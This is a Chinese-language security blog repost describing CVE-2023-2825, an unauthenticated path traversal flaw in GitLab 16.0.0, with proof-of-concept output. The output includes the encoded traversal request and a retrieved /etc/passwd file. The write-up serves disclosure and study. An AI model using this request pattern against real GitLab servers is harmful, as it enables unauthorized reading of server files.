GitLab CVE-2023-2825 PoC 利用路径遍历漏洞从运行 GitLab 16.0.0 的系统中检索

admin 2023年5月30日18:38:54评论104 views字数 3187阅读10分37秒阅读模式
GitLab CVE-2023-2825 PoC 利用路径遍历漏洞从运行 GitLab 16.0.0 的系统中检索

GitLab CVE-2023-2825 PoC 利用路径遍历漏洞从运行 GitLab 16.0.0 的系统中检索

CVE-2023-2825

2023 年 5 月 23 日,GitLab 发布了版本 16.0.1,修复了一个严重漏洞 CVE-2023-2825,影响社区版 (CE) 和企业版 (EE) 版本 16.0.0。该漏洞允许未经身份验证的用户通过路径遍历错误读取任意文件。它是由 pwnie 在 HackerOne 上通过漏洞赏金计划发现的。

在撰写本文时,还没有公开的概念证明

GitLab应用

当嵌套在至少五个组中的公共项目中存在附件时,未经身份验证的恶意用户可以使用路径遍历漏洞读取服务器上的任意文件。这是严重性问题 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0)。

子组

该漏洞有一个有趣的要求,即项目需要嵌套在至少 5 个组中。在我们的测试中,我们发现组的数量和您可以遍历的目录直接相关。规则似乎是 N + 1,这意味着如果你想遍历 10 个目录,你需要有 11 个组。

在标准的 Gitlab 安装中,文件附件上传到/var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>. 所以如果你想到达文件系统根目录,你必须返回 10 个目录,因此你需要 11 个组。

文件上传&路径遍历

当您将文件作为 GitLab 问题的附件上传时,请求将发送到POST - /:repo/upload. 这将返回带有文件 URL 的 JSON 响应,允许您访问该文件。

文件 URL 由文件名本身/:repo/uploads/:id/:file组成。:file替换:file为任何文件路径将导致 GitLab 返回请求的文件。GitLab 无法清理此文件路径,导致路径遍历。

/要成功利用此漏洞,您必须对文件路径进行 URL 编码。GitLab 会将其读取为一个值并在内部对其进行解码。未能对其进行编码将导致 GitLab 将/文件路径中的 解释为路由的一部分。

在我们的测试中,仅编码/就足以绕过 Nginx 路径错误。

验证

未经身份验证的用户只能在符合嵌套组要求的公共存储库上利用此漏洞。访问存储库本身需要身份验证。

概念验证

这是用 Python 编写的概念证明。它创建了 11 个组,创建了一个 public repo,上传了一个文件,然后利用漏洞获取文件/etc/passwd

输出

$ python3 poc.py[*] Attempting to login...[*] Login successful as user 'root'[*] Creating 11 groups with prefix UJB[*] Created group 'UJB-1'[*] Created group 'UJB-2'[*] Created group 'UJB-3'[*] Created group 'UJB-4'[*] Created group 'UJB-5'[*] Created group 'UJB-6'[*] Created group 'UJB-7'[*] Created group 'UJB-8'[*] Created group 'UJB-9'[*] Created group 'UJB-10'[*] Created group 'UJB-11'[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsshd:x:101:65534::/run/sshd:/usr/sbin/nologingit:x:998:998::/var/opt/gitlab:/bin/shgitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/falsegitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/falsegitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/shmattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/shregistry:x:993:993::/var/opt/gitlab/registry:/bin/shgitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/shgitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

项目地址:https://github.com/Occamsec/CVE-2023-2825

原文始发于微信公众号(Ots安全):GitLab CVE-2023-2825 PoC 利用路径遍历漏洞从运行 GitLab 16.0.0 的系统中检索

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月30日18:38:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GitLab CVE-2023-2825 PoC 利用路径遍历漏洞从运行 GitLab 16.0.0 的系统中检索http://cn-sec.com/archives/1773561.html

发表评论

匿名网友 填写信息